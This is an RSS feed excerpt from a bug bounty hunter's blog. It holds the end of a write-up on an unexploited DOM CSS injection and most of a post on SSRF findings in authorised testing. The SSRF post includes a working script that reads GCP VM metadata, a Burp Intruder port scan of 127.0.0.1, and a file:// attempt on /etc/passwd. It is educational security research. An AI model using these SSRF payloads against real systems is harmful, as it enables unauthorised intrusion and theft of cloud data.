&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-Javascript&#34; data-lang=&#34;Javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;current_url_string&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; window.&lt;span style=&#34;color:#a6e22e&#34;&gt;location&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;href&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;current_url&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;URL&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;current_url_string&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;linkObj&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;current_url&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;searchParams&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;get&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;link1&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;userPhotoUrl&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;current_url&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;searchParams&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;get&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;user_photo_url&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;decodeLink&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;linkObj&lt;/span&gt;).&lt;span style=&#34;color:#a6e22e&#34;&gt;user_photo_url&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This subsection retrives the &lt;code&gt;link1&lt;/code&gt; and &lt;code&gt;user_photo_url&lt;/code&gt; parameters from the URL. The &lt;code&gt;user_photo_url&lt;/code&gt; is a direct URL to the user&amp;rsquo;s profile picture. The other &lt;code&gt;link1&lt;/code&gt; parameter is a base64 encoded JSON object that is decoded using the &lt;code&gt;decodeLink()&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;Here is the working of this function:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-Javascript&#34; data-lang=&#34;Javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;decodeDeepLink&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;str&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;JSON&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;parse&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;atob&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;str&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;catch&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;err&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After decoding the &lt;code&gt;link1&lt;/code&gt; parameter, it extracts the value of &lt;code&gt;user_photo_url&lt;/code&gt; key from the JSON.&lt;/p&gt;
&lt;p&gt;The following subsection takes the &lt;code&gt;user_photo_url&lt;/code&gt; and puts it directly in the CSS of the element having the &lt;code&gt;.profile-img-placeholder&lt;/code&gt; as the CSS class.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-Javascript&#34; data-lang=&#34;Javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;userPhotoUrl&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;userPhotoUrl&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;startsWith&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;photoBaseUrl&lt;/span&gt;)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;$&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;.profile-img-placeholder&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#a6e22e&#34;&gt;css&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;background&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;url(&amp;#34;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;userPhotoUrl&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#34;)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  );
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To set a user-provided value in the CSS of this class, I thought to provide a link like this:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://REDACTED.example.com/index.html?link1=eyJ1c2VyX3Bob3RvX3VybCI6ICJodHRwOi8vd3d3LmV4YW1wbGUuY29tIn0=&#34;&gt;https://REDACTED.example.com/index.html?link1=eyJ1c2VyX3Bob3RvX3VybCI6ICJodHRwOi8vd3d3LmV4YW1wbGUuY29tIn0=&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;When decoded, it becomes this JSON:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-JSON&#34; data-lang=&#34;JSON&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;user_photo_url&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://www.example.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This did not work obviously because I had overlooked a crucial detail. There is a &lt;code&gt;startsWith(photoBaseUrl)&lt;/code&gt; function that check if the value of &lt;code&gt;user_photo_url&lt;/code&gt; starts with &amp;ldquo;&lt;a href=&#34;https://REDACTED.example.com/media/profile-photos%22&#34;&gt;https://REDACTED.example.com/media/profile-photos&amp;quot;&lt;/a&gt; or not. In my case, it did not. So, no reflections whatsoever in DOM.&lt;/p&gt;
&lt;p&gt;Then I used the following URL to trigger the change in DOM:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://REDACTED.example.com/index.html?link1=eyJ1c2VyX3Bob3RvX3VybCI6ICJodHRwczovL1JFREFDVEVELmV4YW1wbGUuY29tL21lZGlhL3Byb2ZpbGUtcGhvdG9zIn0=&#34;&gt;https://REDACTED.example.com/index.html?link1=eyJ1c2VyX3Bob3RvX3VybCI6ICJodHRwczovL1JFREFDVEVELmV4YW1wbGUuY29tL21lZGlhL3Byb2ZpbGUtcGhvdG9zIn0=&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;link1&lt;/code&gt; parameter decodes to this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-JSON&#34; data-lang=&#34;JSON&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;user_photo_url&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://REDACTED.example.com/media/profile-photos&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This should trigger the DOM change, right? Wrong! This did not trigger any changes whatsoever.&lt;/p&gt;
&lt;p&gt;I kept digging in the code more and more. Almost to the point where I decided to give up. Then, I thought to search in my Burp Suite history about this CSS class &lt;code&gt;.profile-img-placeholder&lt;/code&gt;. I wanted to see where this class is used so I can better understand the issue.&lt;/p&gt;
&lt;p&gt;And as it turns out, there was no element that had this class. The only file where I found this CSS class to be refereced was this very script I was reading. No other references were found even after manually crawling the entire website.&lt;/p&gt;
&lt;p&gt;In the future, if the &lt;code&gt;.profile-img-placeholder&lt;/code&gt; class is added, I&amp;rsquo;ll be prepared to exploit this vulnerability.&lt;/p&gt;
&lt;p&gt;This is it. End of article. Apparantly, not all writeups end with a bounty.&lt;/p&gt;
&lt;h3 id=&#34;conclusiontakeaways&#34;&gt;Conclusion/Takeaways&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Always check the scope you&amp;rsquo;re hacking before and after submitting the report.&lt;/li&gt;
&lt;li&gt;Learn a programming language of your choice.&lt;/li&gt;
&lt;li&gt;Manually review the source code in order to identify any potential vulnerabilities. With frequent practise, vulnerable code sections are easier to identify revealing potential vulnerabilities.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I work full time as a bug bounty hunter mostly hacking in Synack Red Team (SRT). If you&amp;rsquo;re interested in becoming a part of the Synack Red Team, feel free to connect with me on Twitter, Instagram, or LinkedIn. I&amp;rsquo;m always happy to offer guidance to fellow cybersecurity enthusiasts.&lt;/p&gt;
&lt;p&gt;Cheers! Adios!&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Holiday Hunting With Aquatone</title>
      <link>https://kuldeep.io/posts/holiday-hunting-with-aquatone/</link>
      <pubDate>Fri, 03 Mar 2023 01:09:16 +0530</pubDate>
      
      <guid>https://kuldeep.io/posts/holiday-hunting-with-aquatone/</guid>
      <description>Hello, folks!
Before going to the blog, I would like to give a little context on what happened here. I went on a workcation in April 2022 with my hacker friends (@N0_M3ga_Hacks, @AyushBawariya1 and @x30r_). We hacked during the day and partied in the evenings.
One day, I was telling @N0_M3ga_Hacks about how easy it was to hunt on a specific target in Synack Red Team. That it was full of vulnerabilities.</description>
      <content>&lt;p&gt;Hello, folks!&lt;/p&gt;
&lt;p&gt;Before going to the blog, I would like to give a little context on what happened here. I went on a workcation in April 2022 with my hacker friends (&lt;a href=&#34;https://twitter.com/N0_M3ga_Hacks&#34;&gt;@N0_M3ga_Hacks&lt;/a&gt;, &lt;a href=&#34;https://twitter.com/AyushBawariya1&#34;&gt;@AyushBawariya1&lt;/a&gt; and &lt;a href=&#34;https://twitter.com/x30r_&#34;&gt;@x30r_&lt;/a&gt;). We hacked during the day and partied in the evenings.&lt;/p&gt;
&lt;p&gt;One day, I was telling &lt;a href=&#34;https://twitter.com/N0_M3ga_Hacks&#34;&gt;@N0_M3ga_Hacks&lt;/a&gt; about how easy it was to hunt on a specific target in Synack Red Team. That it was full of vulnerabilities. I was telling him that I have found many vulnerabilities just by running &lt;a href=&#34;https://github.com/michenriksen/aquatone&#34;&gt;aquatone&lt;/a&gt; on the in-scope HTTP servers. I did not even need to do a port scan to find other HTTP services on different ports like 8443,8080 etc.&lt;/p&gt;
&lt;p&gt;While telling him about this, I thought, &amp;ldquo;Let me show him in practice&amp;rdquo; and I  went ahead and ran &lt;a href=&#34;https://github.com/projectdiscovery/httpx&#34;&gt;httpx&lt;/a&gt; on all the in-scope IPs and found live HTTP services. Then I ran aquatone across all the IPs.&lt;/p&gt;
&lt;p&gt;From here, we found a total of 3 vulnerabilities that are as documented below:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability Title&lt;/th&gt;
&lt;th&gt;Reward&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SSRF Allowing To Access Google VM Metadata&lt;/td&gt;
&lt;td&gt;$2400&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSRF Allowing To Access Internal Ports&lt;/td&gt;
&lt;td&gt;$500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exposed XXXX Portal Revealing Tickets&lt;/td&gt;
&lt;td&gt;$705&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&#34;ssrf-allowing-to-access-google-vm-metadata&#34;&gt;SSRF Allowing To Access Google VM Metadata&lt;/h3&gt;
&lt;p&gt;What stood out from the aquatone results was a web page test application. The web root of the application looked like the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/WebPageTest-webroot.png&#34; alt=&#34;WebPageTest&#34;&gt;&lt;/p&gt;
&lt;p&gt;It asked us for a website URL to &amp;ldquo;start test&amp;rdquo;. I did not know what kind of test this was going to perform. For example, I just gave it &lt;a href=&#34;https://example.com&#34;&gt;https://example.com&lt;/a&gt; and saw what it did.&lt;/p&gt;
&lt;p&gt;The application did something for a while and then gave me a nice screenshot of &lt;a href=&#34;https://example.com&#34;&gt;https://example.com&lt;/a&gt; with a lot of other performance metrics that I did not really know about or care enough to check.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/example-com-results.png&#34; alt=&#34;https://example.com results&#34;&gt;&lt;/p&gt;
&lt;p&gt;What I got interested in was the screenshot of &lt;a href=&#34;https://example.com&#34;&gt;https://example.com&lt;/a&gt;. The application sent a request to &lt;a href=&#34;https://example.com&#34;&gt;https://example.com&lt;/a&gt; and gave us its screenshot.&lt;/p&gt;
&lt;p&gt;This is the intended behavior of the application and the ability to request arbitrary URLs is not a vulnerability in itself. The vulnerability arises when the application makes requests to restricted URLs like cloud metadata URLs or localhost that DO have sensitive information exposed.&lt;/p&gt;
&lt;p&gt;Happy with what I saw, I gave it https://127.0.0.1 to &amp;ldquo;start test&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;It again did something for a while and gave me the results. This time, the results were quite disappointing.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/localhost-results.png&#34; alt=&#34;127.0.0.1 Results&#34;&gt;&lt;/p&gt;
&lt;p&gt;It showed an error saying &amp;ldquo;This site can&amp;rsquo;t be reached&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;I sent the request to Burp Suite Intruder and started doing a port scan of the top 1000 ports but it was taking a lot of time. All of these tests were taking 2-3 minutes to complete. Even if we consider the best case of 2 minutes to complete a test, we still require 2000 minutes which is 33.33 hours to perform a port scan of just 1000 ports.&lt;/p&gt;
&lt;p&gt;This was the wrong way. To find a workaround, I played with the application&amp;rsquo;s settings and found an option to disable these &amp;ldquo;tests&amp;rdquo; that I thought took most of the time.&lt;/p&gt;
&lt;p&gt;I disabled the tests and tried again. But the delay of 2-3 minutes was still there despite the tests being on or off. So I believe that it was some kind of internet issue or browser issue.&lt;/p&gt;
&lt;p&gt;However, while testing this, I made a huge mess. Before you could submit a new URL to test, all the old URL tests were supposed to be finished. If they are not finished then the new URL tests will stay pending. And previously, I had sent 1000 requests to the server for port scanning.&lt;/p&gt;
&lt;p&gt;This means I cannot test further without waiting for 33.33 hours. I wished someone would reboot the server so that I did not have to wait that long but the server seemed to be unused as no one sent any tests during these 33.33 hours. I also checked the old tests but there were no tests before I sent mine.&lt;/p&gt;
&lt;p&gt;After two days, I checked and all the tests were finished. I scraped the results, found all the screenshots, and downloaded them.&lt;/p&gt;
&lt;p&gt;Upon checking all the screenshots, I was disappointed once again as none of the ports were running HTTP services. Even after waiting for two days to see the results, nothing was found.&lt;/p&gt;
&lt;p&gt;I tried the &lt;code&gt;file://&lt;/code&gt; protocol to retrieve &lt;code&gt;/etc/passwd&lt;/code&gt; but that also did not work.&lt;/p&gt;
&lt;p&gt;I went ahead to try and retrieve the cloud metadata. This should have been the most obvious choice to me as the client hosted all their infrastructure on GCP. But while hacking this, I was more curious about internally exposed services than cloud metadata.&lt;/p&gt;
&lt;p&gt;To retrieve Google metadata, we need to request &lt;a href=&#34;http://metadata.google.internal/computeMetadata/v1/&#34;&gt;http://metadata.google.internal/computeMetadata/v1/&lt;/a&gt; URL with two custom headers that are as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;X-Google-Metadata-Request: True&lt;/li&gt;
&lt;li&gt;Metadata-Flavor: Google&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Luckily, the application also provided functionality to add additional headers before you start the web page test.&lt;/p&gt;
&lt;p&gt;I added the headers and started the test on &lt;a href=&#34;http://metadata.google.internal/computeMetadata/v1/&#34;&gt;http://metadata.google.internal/computeMetadata/v1/&lt;/a&gt; URL. It took more than 2-3 minutes to finish this time so I got excited. But I was once again met with disappointment as this resulted in an empty screenshot.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/metadata-v1-results.png&#34; alt=&#34;/computeMetadata/v1 Results&#34;&gt;&lt;/p&gt;
&lt;p&gt;I gave up with the cloud metadata thing and tried to check a few common ports like 8080, 8125, 80, 5000, etc. This also resulted in the same output as my previous attempts for a port scan. I decided to step away from this and take a little break.&lt;/p&gt;
&lt;p&gt;After 5 days, I was again hooked on retrieving the Google metadata. This time I tried with several other endpoints like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/computeMetadata/v1/instance/hostname&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/computeMetadata/v1/instance/id&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/computeMetadata/v1/instance/image&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The list goes on but you get the point. I tried many other endpoints. I also used the much useful &lt;a href=&#34;https://gist.github.com/jhaddix/78cece26c91c6263653f31ba453e273b&#34;&gt;Cloud Metadata Wordlist Gist&lt;/a&gt;. However, none of these endpoints seemed to work in my case.&lt;/p&gt;
&lt;p&gt;I then simply googled &amp;ldquo;google cloud metadata&amp;rdquo; and the very first result was the &lt;a href=&#34;https://cloud.google.com/compute/docs/metadata/querying-metadata&#34;&gt;official documentation&lt;/a&gt; on how to access the VM metadata. As I was reading it, it mentioned the following endpoint:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/computeMetadata/v1/instance/tags&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I gave the same endpoint to the application for testing and to my surprise, it gave me the output!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/metadata-v1-instance-tags-results.png&#34; alt=&#34;/computeMetadata/v1/instance/tags Results&#34;&gt;&lt;/p&gt;
&lt;p&gt;Here, the screenshot quality was really bad. It was too small that it was unreadable. To view metadata that makes some sense to us, we need to find some other way.&lt;/p&gt;
&lt;p&gt;After poking around with different features, I found one way to view the resulting HTML content. All I had to do was to click on the &amp;ldquo;View JSON result&amp;rdquo; button. After clicking, the application showed the performance metrics and all the other information in JSON format.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/view-JSON-results.png&#34; alt=&#34;View JSON results&#34;&gt;&lt;/p&gt;
&lt;p&gt;Here, I was able to see the resulting HTML content in a JSON field called &amp;ldquo;html&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;I again checked the &lt;a href=&#34;https://gist.github.com/jhaddix/78cece26c91c6263653f31ba453e273b&#34;&gt;Cloud Metadata Wordlist Gist&lt;/a&gt; and found out that I did not check one endpoint shown in the wordlist. It was the following endpoint:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/computeMetadata/v1/instance/disks/?recursive=true&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I quickly entered this endpoint and checked the HTML in JSON result and found out that it successfully listed all the disks!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/metadata-v1-instance-disks-results.png&#34; alt=&#34;/computeMetadata/v1/instance/disks Results&#34;&gt;&lt;/p&gt;
&lt;p&gt;Reported this with all the required pieces of evidence and this was accepted.&lt;/p&gt;
&lt;p&gt;The same application offered other functionalities like running a custom testing script, bulk testing, bulk testing using file upload, etc. And all of them were vulnerable to this.&lt;/p&gt;
&lt;p&gt;I will not be explaining each of them but an exploit using a custom testing script looked like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;addHeader Metadata-Flavor: Google
navigate http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;ssrf-allowing-to-access-internal-ports&#34;&gt;SSRF Allowing To Access Internal Ports&lt;/h3&gt;
&lt;p&gt;The web application root of this IP showed a search functionality as shown below.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/search-functionality.png&#34; alt=&#34;Web Application Root&#34;&gt;&lt;/p&gt;
&lt;p&gt;Here, you can see that a URL is shown beside the &amp;ldquo;cluster&amp;rdquo; drop-down. We can change the cluster dropdown to other options that will change the URL. My best guess is that we can change the cluster to switch between dev/prod environments.&lt;/p&gt;
&lt;p&gt;Upon searching a string &amp;ldquo;test&amp;rdquo;, a POST request to the &lt;code&gt;/search&lt;/code&gt; endpoint is sent along with a lot of other parameters.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/search-request.png&#34; alt=&#34;Search Request&#34;&gt;&lt;/p&gt;
&lt;p&gt;A detailed breakdown of a few crucial parameters is shown below:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Parameter&lt;/th&gt;
&lt;th&gt;Explanation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;url&lt;/td&gt;
&lt;td&gt;This was the URL to which the search request was sent. If you change the cluster using the drop-down, this URL will change.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sortby&lt;/td&gt;
&lt;td&gt;This was the column/criteria on which the result would be sorted.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sortorder&lt;/td&gt;
&lt;td&gt;Ascending or descending depending on the value.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;keyword&lt;/td&gt;
&lt;td&gt;The keyword to search in the cluster.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;page&lt;/td&gt;
&lt;td&gt;This was used for pagination purposes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;storeid&lt;/td&gt;
&lt;td&gt;The store identifier in which we had to search&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;From the parameters, I assumed that a sequence similar to the following might be used by the web application:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/SequenceDiagram.png&#34; alt=&#34;Sequence Diagram&#34;&gt;&lt;/p&gt;
&lt;p&gt;Here, the &lt;code&gt;url&lt;/code&gt; parameter directly clicked as an SSRF in my head but I kept it in side and started hunting for SQL injections.&lt;/p&gt;
&lt;p&gt;I tested all the parameters and all the cluster URLs to see if any of them is vulnerable to an SQL injection or not. But all of them were secure and SQL injection was not possible in any of the clusters.&lt;/p&gt;
&lt;p&gt;Now, back to the SSRF, I changed the &lt;code&gt;url&lt;/code&gt; parameter to my TUPoC URL and I saw that the server now responded with a &lt;code&gt;JSONDecodeError&lt;/code&gt; and a detailed stack trace.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/JSONDecodeException.png&#34; alt=&#34;JSONDecodeError&#34;&gt;&lt;/p&gt;
&lt;p&gt;You may be wondering, &amp;ldquo;Why does this exception occur?&amp;rdquo; This is because the web application is trying to JSON decode the data returned from our TUPoC URL but our TUPoC URL is not sending valid JSON data. It is sending normal HTML.&lt;/p&gt;
&lt;p&gt;By taking advantage of this verbose error, we can enumerate open HTTP services on the vulnerable server.&lt;/p&gt;
&lt;p&gt;The thought process behind this is that, if a web service is running on the server, it will return some HTML data. The web application will try to JSON decode HTML data and hence an exception will be thrown. This way, we can enumerate open HTTP ports.&lt;/p&gt;
&lt;p&gt;I quickly sent the request to Burp Suite Intruder and changed the &lt;code&gt;url&lt;/code&gt; parameter to &lt;code&gt;http://127.0.0.1:§1§&lt;/code&gt; and ran intruder from 1 to 5000 to fuzz the top 5000 ports.&lt;/p&gt;
&lt;p&gt;Once the attack was complete, I found that port 5000 was open and running the vulnerable service.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/5000-port-open.png&#34; alt=&#34;5000 Port Open&#34;&gt;&lt;/p&gt;
&lt;p&gt;All the other ports returned a &lt;code&gt;ConnectionError&lt;/code&gt; exception.&lt;/p&gt;
&lt;h3 id=&#34;exposed-xxxx-portal-revealing-tickets&#34;&gt;Exposed XXXX Portal Revealing Tickets&lt;/h3&gt;
&lt;p&gt;Once again, the web root of this host showed some kind of dashboard that I found interesting.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/portal-root.png&#34; alt=&#34;Portal Web Root&#34;&gt;&lt;/p&gt;
